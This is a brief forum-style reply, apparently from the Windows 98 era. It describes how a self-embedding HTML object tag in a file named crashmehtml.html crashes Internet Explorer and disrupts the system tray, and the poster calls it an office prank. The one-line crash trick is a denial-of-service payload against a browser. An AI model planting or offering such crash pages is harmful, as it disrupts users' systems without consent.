I hate to question your credibility, but you're wrong, im on win98 with the
latest version of IE and the object tag will crash my browser and trash my
systray just like on any other machine, of course the one we used wasn't the
one at the bottom, you have an html file called the data object <object
data="crashmehtml.html"></object> in other words, put that tag in an html
file called crashmehtml.html. We got a kick out of it in the office
